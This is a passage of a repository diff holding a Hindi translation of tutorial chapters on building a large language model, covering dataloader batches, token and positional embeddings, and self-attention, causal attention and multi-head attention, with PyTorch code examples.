raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
)
data_iter = iter(dataloader)
first_batch = next(data_iter)
print(first_batch)
# Note the batch_size of 8, the max_length of 4 and the stride of 1
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257],
[10899, 2138, 257, 7026]])
]
# With stride=4 this will be the result:
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 1807, 3619, 402, 271],
[10899, 2138, 257, 7026],
[15632, 438, 2016, 257],
[ 922, 5891, 1576, 438],
[ 568, 340, 373, 645],
[ 1049, 5975, 284, 502],
[ 284, 3285, 326, 11]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 3619, 402, 271, 10899],
[ 2138, 257, 7026, 15632],
[ 438, 2016, 257, 922],
[ 5891, 1576, 438, 568],
[ 340, 373, 645, 1049],
[ 5975, 284, 502, 284],
[ 3285, 326, 11, 287]])
]
```
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,203 +0,0 @@
# 3. टोकन एम्बेडिंग्स
## टोकन एम्बेडिंग्स
टेक्स्ट डेटा को टोकनाइज़ करने के बाद, बड़े भाषा मॉडल (LLMs) जैसे GPT के लिए डेटा तैयार करने में अगला महत्वपूर्ण कदम **टोकन एम्बेडिंग्स** बनाना है। टोकन एम्बेडिंग्स डिस्क्रीट टोकनों (जैसे शब्दों या उपशब्दों) को निरंतर संख्यात्मक वेक्टर में परिवर्तित करते हैं जिन्हें मॉडल प्रोसेस कर सकता है और उनसे सीख सकता है। यह व्याख्या टोकन एम्बेडिंग्स, उनके प्रारंभिककरण, उपयोग और टोकन अनुक्रमों की समझ को बढ़ाने में स्थिति एम्बेडिंग्स की भूमिका को तोड़ती है।
> [!TIP]
> इस तीसरे चरण का लक्ष्य बहुत सरल है: **शब्दकोश में पिछले प्रत्येक टोकन को मॉडल को प्रशिक्षित करने के लिए इच्छित आयामों का एक वेक्टर असाइन करें।** शब्दकोश में प्रत्येक शब्द X आयामों के एक स्थान में एक बिंदु होगा।\
> ध्यान दें कि प्रारंभ में प्रत्येक शब्द की स्थिति "यादृच्छिक" रूप से प्रारंभ की जाती है और ये स्थितियाँ प्रशिक्षित करने योग्य पैरामीटर हैं (प्रशिक्षण के दौरान सुधारित होंगी)।
>
> इसके अलावा, टोकन एम्बेडिंग के दौरान **एक और एम्बेडिंग्स की परत बनाई जाती है** जो (इस मामले में) **प्रशिक्षण वाक्य में शब्द की निरपेक्ष स्थिति** का प्रतिनिधित्व करती है। इस तरह वाक्य में विभिन्न स्थितियों में एक शब्द का अलग प्रतिनिधित्व (अर्थ) होगा।
### **टोकन एम्बेडिंग्स क्या हैं?**
**टोकन एम्बेडिंग्स** निरंतर वेक्टर स्पेस में टोकनों के संख्यात्मक प्रतिनिधित्व हैं। शब्दकोश में प्रत्येक टोकन एक अद्वितीय निश्चित आयामों के वेक्टर से जुड़ा होता है। ये वेक्टर टोकनों के बारे में अर्थ और व्याकरणिक जानकारी को कैप्चर करते हैं, जिससे मॉडल डेटा में संबंधों और पैटर्नों को समझने में सक्षम होता है।
- **शब्दकोश का आकार:** मॉडल के शब्दकोश में अद्वितीय टोकनों की कुल संख्या (जैसे, शब्द, उपशब्द)।
- **एम्बेडिंग आयाम:** प्रत्येक टोकन के वेक्टर में संख्यात्मक मानों (आयामों) की संख्या। उच्च आयाम अधिक सूक्ष्म जानकारी कैप्चर कर सकते हैं लेकिन अधिक गणनात्मक संसाधनों की आवश्यकता होती है।
**उदाहरण:**
- **शब्दकोश का आकार:** 6 टोकन \[1, 2, 3, 4, 5, 6]
- **एम्बेडिंग आयाम:** 3 (x, y, z)
### **टोकन एम्बेडिंग्स का प्रारंभिककरण**
प्रशिक्षण की शुरुआत में, टोकन एम्बेडिंग्स को आमतौर पर छोटे यादृच्छिक मानों के साथ प्रारंभ किया जाता है। इन प्रारंभिक मानों को प्रशिक्षण डेटा के आधार पर टोकनों के अर्थों का बेहतर प्रतिनिधित्व करने के लिए प्रशिक्षण के दौरान समायोजित (फाइन-ट्यून) किया जाता है।
**PyTorch उदाहरण:**
```python
import torch
# Set a random seed for reproducibility
torch.manual_seed(123)
# Create an embedding layer with 6 tokens and 3 dimensions
embedding_layer = torch.nn.Embedding(6, 3)
# Display the initial weights (embeddings)
print(embedding_layer.weight)
```
**आउटपुट:**
```lua
luaCopy codeParameter containing:
tensor([[ 0.3374, -0.1778, -0.1690],
[ 0.9178, 1.5810, 1.3010],
[ 1.2753, -0.2010, -0.1606],
[-0.4015, 0.9666, -1.1481],
[-1.1589, 0.3255, -0.6315],
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
```
**व्याख्या:**
- प्रत्येक पंक्ति शब्दावली में एक टोकन के अनुरूप होती है।
- प्रत्येक कॉलम एम्बेडिंग वेक्टर में एक आयाम का प्रतिनिधित्व करता है।
- उदाहरण के लिए, अनुक्रमांक `3` पर टोकन का एम्बेडिंग वेक्टर `[-0.4015, 0.9666, -1.1481]` है।
**एक टोकन के एम्बेडिंग तक पहुँचना:**
```python
# Retrieve the embedding for the token at index 3
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
**आउटपुट:**
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
**व्याख्या:**
- अनुक्रमांक `3` पर टोकन को वेक्टर `[-0.4015, 0.9666, -1.1481]` द्वारा दर्शाया गया है।
- ये मान प्रशिक्षित करने योग्य पैरामीटर हैं जिन्हें मॉडल प्रशिक्षण के दौरान टोकन के संदर्भ और अर्थ को बेहतर ढंग से दर्शाने के लिए समायोजित करेगा।
### **प्रशिक्षण के दौरान टोकन एम्बेडिंग कैसे काम करती हैं**
प्रशिक्षण के दौरान, इनपुट डेटा में प्रत्येक टोकन को इसके संबंधित एम्बेडिंग वेक्टर में परिवर्तित किया जाता है। इन वेक्टरों का उपयोग मॉडल के भीतर विभिन्न गणनाओं में किया जाता है, जैसे ध्यान तंत्र और न्यूरल नेटवर्क परतें।
**उदाहरण परिदृश्य:**
- **बैच आकार:** 8 (एक साथ संसाधित नमूनों की संख्या)
- **अधिकतम अनुक्रम लंबाई:** 4 (प्रति नमूना टोकनों की संख्या)
- **एम्बेडिंग आयाम:** 256
**डेटा संरचना:**
- प्रत्येक बैच को आकार `(batch_size, max_length, embedding_dim)` के साथ 3D टेन्सर के रूप में दर्शाया जाता है।
- हमारे उदाहरण के लिए, आकार `(8, 4, 256)` होगा।
**दृश्यता:**
```css
cssCopy codeBatch
┌─────────────┐
│ Sample 1 │
│ ┌─────┐ │
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ Sample 2 │
│ ┌─────┐ │
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ ... │
│ Sample 8 │
│ ┌─────┐ │
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
└─────────────┘
```
**व्याख्या:**
- अनुक्रम में प्रत्येक टोकन को 256-आयामी वेक्टर द्वारा दर्शाया जाता है।
- मॉडल इन एम्बेडिंग्स को भाषा पैटर्न सीखने और भविष्यवाणियाँ उत्पन्न करने के लिए संसाधित करता है।
## **पोजिशनल एम्बेडिंग्स: टोकन एम्बेडिंग्स में संदर्भ जोड़ना**
जबकि टोकन एम्बेडिंग्स व्यक्तिगत टोकनों के अर्थ को कैप्चर करती हैं, वे अनुक्रम में टोकनों की स्थिति को स्वाभाविक रूप से एन्कोड नहीं करती हैं। टोकनों के क्रम को समझना भाषा की समझ के लिए महत्वपूर्ण है। यहीं पर **पोजिशनल एम्बेडिंग्स** का महत्व है।
### **पोजिशनल एम्बेडिंग्स की आवश्यकता क्यों है:**
- **टोकन का क्रम महत्वपूर्ण है:** वाक्यों में, अर्थ अक्सर शब्दों के क्रम पर निर्भर करता है। उदाहरण के लिए, "बिल्ली चटाई पर बैठी" बनाम "चटाई बिल्ली पर बैठी।"
- **एम्बेडिंग की सीमा:** पोजिशनल जानकारी के बिना, मॉडल टोकनों को "शब्दों का थैला" मानता है, उनके अनुक्रम की अनदेखी करता है।
### **पोजिशनल एम्बेडिंग्स के प्रकार:**
1. **एब्सोल्यूट पोजिशनल एम्बेडिंग्स:**
- अनुक्रम में प्रत्येक स्थिति को एक अद्वितीय स्थिति वेक्टर सौंपें।
- **उदाहरण:** किसी भी अनुक्रम में पहला टोकन समान पोजिशनल एम्बेडिंग रखता है, दूसरा टोकन एक और रखता है, और इसी तरह।
- **द्वारा उपयोग किया गया:** OpenAI के GPT मॉडल।
2. **रिलेटिव पोजिशनल एम्बेडिंग्स:**
- टोकनों के सापेक्ष दूरी को एन्कोड करें न कि उनके एब्सोल्यूट पोजिशन को।
- **उदाहरण:** यह इंगित करें कि दो टोकन कितने दूर हैं, चाहे उनके एब्सोल्यूट पोजिशन अनुक्रम में क्या हों।
- **द्वारा उपयोग किया गया:** Transformer-XL जैसे मॉडल और BERT के कुछ रूप।
### **पोजिशनल एम्बेडिंग्स को कैसे एकीकृत किया जाता है:**
- **समान आयाम:** पोजिशनल एम्बेडिंग्स का आयाम टोकन एम्बेडिंग्स के समान होता है।
- **जोड़ना:** इन्हें टोकन एम्बेडिंग्स में जोड़ा जाता है, टोकन पहचान को पोजिशनल जानकारी के साथ मिलाकर बिना समग्र आयाम को बढ़ाए।
**पोजिशनल एम्बेडिंग्स जोड़ने का उदाहरण:**
मान लीजिए कि एक टोकन एम्बेडिंग वेक्टर `[0.5, -0.2, 0.1]` है और इसका पोजिशनल एम्बेडिंग वेक्टर `[0.1, 0.3, -0.1]` है। मॉडल द्वारा उपयोग किया जाने वाला संयुक्त एम्बेडिंग होगा:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
= [0.6, 0.1, 0.0]
```
**पोजिशनल एम्बेडिंग के लाभ:**
- **संदर्भ जागरूकता:** मॉडल अपने स्थानों के आधार पर टोकनों के बीच अंतर कर सकता है।
- **अनुक्रम समझना:** मॉडल को व्याकरण, सिंटैक्स, और संदर्भ-निर्भर अर्थों को समझने में सक्षम बनाता है।
## कोड उदाहरण
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) से कोड उदाहरण के साथ आगे बढ़ते हैं:
```python
# Use previous code...
# Create dimensional emdeddings
"""
BPE uses a vocabulary of 50257 words
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
"""
vocab_size = 50257
output_dim = 256
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
## Generate the dataloader like before
max_length = 4
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=max_length,
stride=max_length, shuffle=False
)
data_iter = iter(dataloader)
inputs, targets = next(data_iter)
# Apply embeddings
token_embeddings = token_embedding_layer(inputs)
print(token_embeddings.shape)
torch.Size([8, 4, 256]) # 8 x 4 x 256
# Generate absolute embeddings
context_length = max_length
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
input_embeddings = token_embeddings + pos_embeddings
print(input_embeddings.shape) # torch.Size([8, 4, 256])
```
## संदर्भ
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,415 +0,0 @@
# 4. ध्यान तंत्र
## ध्यान तंत्र और आत्म-ध्यान न्यूरल नेटवर्क में
ध्यान तंत्र न्यूरल नेटवर्क को **आउटपुट के प्रत्येक भाग को उत्पन्न करते समय इनपुट के विशिष्ट भागों पर ध्यान केंद्रित करने** की अनुमति देते हैं। वे विभिन्न इनपुट को विभिन्न वजन सौंपते हैं, जिससे मॉडल यह तय करने में मदद मिलती है कि कौन से इनपुट कार्य के लिए सबसे प्रासंगिक हैं। यह मशीन अनुवाद जैसे कार्यों में महत्वपूर्ण है, जहां पूरे वाक्य के संदर्भ को समझना सटीक अनुवाद के लिए आवश्यक है।
> [!TIP]
> इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें**। ये बहुत सारे **दोहराए गए परतें** होंगी जो **शब्द के शब्दावली में उसके पड़ोसियों के साथ संबंध को कैप्चर करेंगी जो LLM को प्रशिक्षित करने के लिए वर्तमान वाक्य में उपयोग किया जा रहा है**।\
> इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षित पैरामीटर इस जानकारी को कैप्चर करने जा रहे हैं।
### ध्यान तंत्र को समझना
भाषा अनुवाद के लिए उपयोग किए जाने वाले पारंपरिक अनुक्रम-से-अनुक्रम मॉडल में, मॉडल एक इनपुट अनुक्रम को एक निश्चित आकार के संदर्भ वेक्टर में एन्कोड करता है। हालाँकि, यह दृष्टिकोण लंबे वाक्यों के साथ संघर्ष करता है क्योंकि निश्चित आकार का संदर्भ वेक्टर सभी आवश्यक जानकारी को कैप्चर नहीं कर सकता। ध्यान तंत्र इस सीमा को संबोधित करते हैं क्योंकि वे मॉडल को प्रत्येक आउटपुट टोकन उत्पन्न करते समय सभी इनपुट टोकन पर विचार करने की अनुमति देते हैं।
#### उदाहरण: मशीन अनुवाद
जर्मन वाक्य "Kannst du mir helfen diesen Satz zu übersetzen" का अंग्रेजी में अनुवाद करने पर विचार करें। शब्द-द्वारा-शब्द अनुवाद एक व्याकरणिक रूप से सही अंग्रेजी वाक्य उत्पन्न नहीं करेगा क्योंकि भाषाओं के बीच व्याकरणिक संरचनाओं में भिन्नताएँ होती हैं। एक ध्यान तंत्र मॉडल को आउटपुट वाक्य के प्रत्येक शब्द को उत्पन्न करते समय इनपुट वाक्य के प्रासंगिक भागों पर ध्यान केंद्रित करने में सक्षम बनाता है, जिससे एक अधिक सटीक और सुसंगत अनुवाद होता है।
### आत्म-ध्यान का परिचय
आत्म-ध्यान, या आंतरिक-ध्यान, एक तंत्र है जहाँ ध्यान एकल अनुक्रम के भीतर लागू होता है ताकि उस अनुक्रम का प्रतिनिधित्व किया जा सके। यह अनुक्रम में प्रत्येक टोकन को सभी अन्य टोकनों पर ध्यान केंद्रित करने की अनुमति देता है, जिससे मॉडल को अनुक्रम में टोकनों के बीच निर्भरताओं को कैप्चर करने में मदद मिलती है, चाहे उनकी दूरी कितनी भी हो।
#### प्रमुख अवधारणाएँ
- **टोकन**: इनपुट अनुक्रम के व्यक्तिगत तत्व (जैसे, वाक्य में शब्द)।
- **एम्बेडिंग**: टोकनों के वेक्टर प्रतिनिधित्व, जो अर्थ संबंधी जानकारी को कैप्चर करते हैं।
- **ध्यान वजन**: मान जो यह निर्धारित करते हैं कि प्रत्येक टोकन अन्य टोकनों की तुलना में कितना महत्वपूर्ण है।
### ध्यान वजन की गणना: एक चरण-दर-चरण उदाहरण
आइए वाक्य **"Hello shiny sun!"** पर विचार करें और प्रत्येक शब्द का 3-आयामी एम्बेडिंग के साथ प्रतिनिधित्व करें:
- **Hello**: `[0.34, 0.22, 0.54]`
- **shiny**: `[0.53, 0.34, 0.98]`
- **sun**: `[0.29, 0.54, 0.93]`
हमारा लक्ष्य आत्म-ध्यान का उपयोग करके **"shiny"** शब्द के लिए **संदर्भ वेक्टर** की गणना करना है।
#### चरण 1: ध्यान स्कोर की गणना करें
> [!TIP]
> बस प्रत्येक आयाम मान को क्वेरी के साथ संबंधित टोकन के प्रत्येक आयाम मान से गुणा करें और परिणामों को जोड़ें। आपको प्रत्येक टोकन जोड़ी के लिए 1 मान मिलता है।
वाक्य में प्रत्येक शब्द के लिए, "shiny" के संबंध में **ध्यान स्कोर** की गणना करें, उनके एम्बेडिंग का डॉट उत्पाद निकालकर।
**"Hello" और "shiny" के बीच ध्यान स्कोर**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"shiny" और "shiny" के बीच ध्यान स्कोर**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" और "shiny" के बीच ध्यान स्कोर**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### चरण 2: ध्यान स्कोर को सामान्य करें ताकि ध्यान वजन प्राप्त हो सके
> [!TIP]
> गणितीय शर्तों में खो न जाएं, इस फ़ंक्शन का लक्ष्य सरल है, सभी वजन को सामान्य करें ताकि **वे कुल 1 में जोड़ें**।\
> इसके अलावा, **सॉफ्टमैक्स** फ़ंक्शन का उपयोग किया जाता है क्योंकि यह गुणनात्मक भाग के कारण भिन्नताओं को बढ़ाता है, उपयोगी मानों का पता लगाना आसान बनाता है।
ध्यान स्कोर को ध्यान वजन में परिवर्तित करने के लिए **सॉफ्टमैक्स फ़ंक्शन** लागू करें जो 1 में जोड़ता है।
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
घातांक की गणना:
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
योग की गणना:
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
ध्यान वजन की गणना:
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### चरण 3: संदर्भ वेक्टर की गणना करें
> [!TIP]
> बस प्रत्येक ध्यान वजन को संबंधित टोकन आयामों से गुणा करें और फिर सभी आयामों को जोड़ें ताकि केवल 1 वेक्टर (संदर्भ वेक्टर) प्राप्त हो सके।
**संदर्भ वेक्टर** को सभी शब्दों के एम्बेडिंग के भारित योग के रूप में गणना की जाती है, ध्यान वजन का उपयोग करते हुए।
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
प्रत्येक घटक की गणना:
- **"Hello" का भारित एम्बेडिंग**:
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **"shiny" का भारित एम्बेडिंग**:
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **"sun" का भारित एम्बेडिंग**:
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
भारित एम्बेडिंग का योग:
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**यह संदर्भ वेक्टर "shiny" शब्द के लिए समृद्ध एम्बेडिंग का प्रतिनिधित्व करता है, जो वाक्य में सभी शब्दों से जानकारी को शामिल करता है।**
### प्रक्रिया का सारांश
1. **ध्यान स्कोर की गणना करें**: लक्षित शब्द के एम्बेडिंग और अनुक्रम में सभी शब्दों के एम्बेडिंग के बीच डॉट उत्पाद का उपयोग करें।
2. **ध्यान वजन प्राप्त करने के लिए स्कोर को सामान्य करें**: ध्यान स्कोर पर सॉफ्टमैक्स फ़ंक्शन लागू करें ताकि वजन प्राप्त हो सके जो 1 में जोड़ता है।
3. **संदर्भ वेक्टर की गणना करें**: प्रत्येक शब्द के एम्बेडिंग को उसके ध्यान वजन से गुणा करें और परिणामों को जोड़ें।
## प्रशिक्षित वजन के साथ आत्म-ध्यान
व्यवहार में, आत्म-ध्यान तंत्र **प्रशिक्षित वजन** का उपयोग करते हैं ताकि क्वेरी, कुंजी और मानों के लिए सर्वोत्तम प्रतिनिधित्व सीखा जा सके। इसमें तीन वजन मैट्रिक्स पेश करना शामिल है:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
क्वेरी वही डेटा है जिसका उपयोग पहले की तरह किया जाता है, जबकि कुंजी और मान मैट्रिक्स बस यादृच्छिक-प्रशिक्षित मैट्रिक्स हैं।
#### चरण 1: क्वेरी, कुंजी और मानों की गणना करें
प्रत्येक टोकन का अपना क्वेरी, कुंजी और मान मैट्रिक्स होगा, इसके आयाम मानों को परिभाषित मैट्रिक्स से गुणा करके:
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
ये मैट्रिक्स मूल एम्बेडिंग को ध्यान की गणना के लिए उपयुक्त एक नए स्थान में परिवर्तित करते हैं।
**उदाहरण**
मान लीजिए:
- इनपुट आयाम `din=3` (एम्बेडिंग आकार)
- आउटपुट आयाम `dout=2` (क्वेरी, कुंजी और मानों के लिए इच्छित आयाम)
वजन मैट्रिक्स को प्रारंभ करें:
```python
import torch.nn as nn
d_in = 3
d_out = 2
W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
क्वेरी, की, और वैल्यू की गणना करें:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### Step 2: Compute Scaled Dot-Product Attention
**Compute Attention Scores**
पहले के उदाहरण के समान, लेकिन इस बार, टोकन के आयामों के मानों का उपयोग करने के बजाय, हम टोकन की कुंजी मैट्रिक्स का उपयोग करते हैं (जो पहले से आयामों का उपयोग करके गणना की गई है):। इसलिए, प्रत्येक क्वेरी `qi` और कुंजी `kj` के लिए:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**Scale the Scores**
डॉट उत्पादों को बहुत बड़ा होने से रोकने के लिए, उन्हें कुंजी आयाम `dk` के वर्गमूल से स्केल करें:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> स्कोर को आयामों के वर्गमूल से विभाजित किया जाता है क्योंकि डॉट उत्पाद बहुत बड़े हो सकते हैं और यह उन्हें नियंत्रित करने में मदद करता है।
**Apply Softmax to Obtain Attention Weights:** प्रारंभिक उदाहरण की तरह, सभी मानों को सामान्यीकृत करें ताकि उनका योग 1 हो।
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Step 3: Compute Context Vectors
प्रारंभिक उदाहरण की तरह, सभी मानों के मैट्रिक्स को जोड़ें, प्रत्येक को इसके ध्यान वजन से गुणा करें:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### Code Example
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) से एक उदाहरण लेते हुए, आप इस क्लास को देख सकते हैं जो हमने चर्चा की स्व-संबंधित कार्यक्षमता को लागू करती है:
```python
import torch
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
import torch.nn as nn
class SelfAttention_v2(nn.Module):
def __init__(self, d_in, d_out, qkv_bias=False):
super().__init__()
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
def forward(self, x):
keys = self.W_key(x)
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.T
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
context_vec = attn_weights @ values
return context_vec
d_in=3
d_out=2
torch.manual_seed(789)
sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
> [!NOTE]
> ध्यान दें कि मैट्रिस को यादृच्छिक मानों के साथ प्रारंभ करने के बजाय, `nn.Linear` का उपयोग सभी वेट्स को प्रशिक्षण के लिए पैरामीटर के रूप में चिह्नित करने के लिए किया जाता है।
## कारणात्मक ध्यान: भविष्य के शब्दों को छिपाना
LLMs के लिए हम चाहते हैं कि मॉडल केवल उन टोकनों पर विचार करे जो वर्तमान स्थिति से पहले प्रकट होते हैं ताकि **अगले टोकन की भविष्यवाणी** की जा सके। **कारणात्मक ध्यान**, जिसे **मास्क किया गया ध्यान** भी कहा जाता है, इसे ध्यान तंत्र को संशोधित करके प्राप्त करता है ताकि भविष्य के टोकनों तक पहुंच को रोका जा सके।
### कारणात्मक ध्यान मास्क लागू करना
कारणात्मक ध्यान को लागू करने के लिए, हम ध्यान स्कोर पर एक मास्क लागू करते हैं **सॉफ्टमैक्स ऑपरेशन से पहले** ताकि शेष स्कोर का योग 1 हो सके। यह मास्क भविष्य के टोकनों के ध्यान स्कोर को नकारात्मक अनंत में सेट करता है, यह सुनिश्चित करते हुए कि सॉफ्टमैक्स के बाद, उनके ध्यान वेट्स शून्य हैं।
**चरण**
1. **ध्यान स्कोर की गणना करें**: पहले की तरह ही।
2. **मास्क लागू करें**: एक ऊपरी त्रिकोणीय मैट्रिक्स का उपयोग करें जो विकर्ण के ऊपर नकारात्मक अनंत से भरा हो।
```python
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
masked_scores = attention_scores + mask
```
3. **सॉफ्टमैक्स लागू करें**: मास्क किए गए स्कोर का उपयोग करके ध्यान वेट्स की गणना करें।
```python
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### ड्रॉपआउट के साथ अतिरिक्त ध्यान वेट्स को मास्क करना
**ओवरफिटिंग** को **रोकने** के लिए, हम सॉफ्टमैक्स ऑपरेशन के बाद ध्यान वेट्स पर **ड्रॉपआउट** लागू कर सकते हैं। ड्रॉपआउट **प्रशिक्षण के दौरान कुछ ध्यान वेट्स को यादृच्छिक रूप से शून्य कर देता है**
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
```
एक नियमित ड्रॉपआउट लगभग 10-20% है।
### कोड उदाहरण
कोड उदाहरण [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) से:
```python
import torch
import torch.nn as nn
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
batch = torch.stack((inputs, inputs), dim=0)
print(batch.shape)
class CausalAttention(nn.Module):
def __init__(self, d_in, d_out, context_length,
dropout, qkv_bias=False):
super().__init__()
self.d_out = d_out
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # This generates the keys of the tokens
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
attn_scores.masked_fill_( # New, _ ops are in-place
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
attn_weights = torch.softmax(
attn_scores / keys.shape[-1]**0.5, dim=-1
)
attn_weights = self.dropout(attn_weights)
context_vec = attn_weights @ values
return context_vec
torch.manual_seed(123)
context_length = batch.shape[1]
d_in = 3
d_out = 2
ca = CausalAttention(d_in, d_out, context_length, 0.0)
context_vecs = ca(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
## एकल-हेड ध्यान को बहु-हेड ध्यान में विस्तारित करना
**बहु-हेड ध्यान** व्यावहारिक रूप से आत्म-ध्यान फ़ंक्शन के **कई उदाहरणों** को निष्पादित करने पर आधारित है, प्रत्येक के **अपने वजन** होते हैं ताकि विभिन्न अंतिम वेक्टर की गणना की जा सके।
### कोड उदाहरण
पिछले कोड का पुन: उपयोग करना और बस एक लपेटन जोड़ना जो इसे कई बार लॉन्च करता है, संभव हो सकता है, लेकिन यह [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) से एक अधिक अनुकूलित संस्करण है जो सभी सिरों को एक साथ संसाधित करता है (महंगे फॉर लूप की संख्या को कम करता है)। जैसा कि आप कोड में देख सकते हैं, प्रत्येक टोकन के आयामों को सिरों की संख्या के अनुसार विभिन्न आयामों में विभाजित किया गया है। इस तरह, यदि टोकन के 8 आयाम हैं और हम 3 सिरों का उपयोग करना चाहते हैं, तो आयामों को 4 आयामों के 2 ऐरे में विभाजित किया जाएगा और प्रत्येक सिर उनमें से एक का उपयोग करेगा:
```python
class MultiHeadAttention(nn.Module):
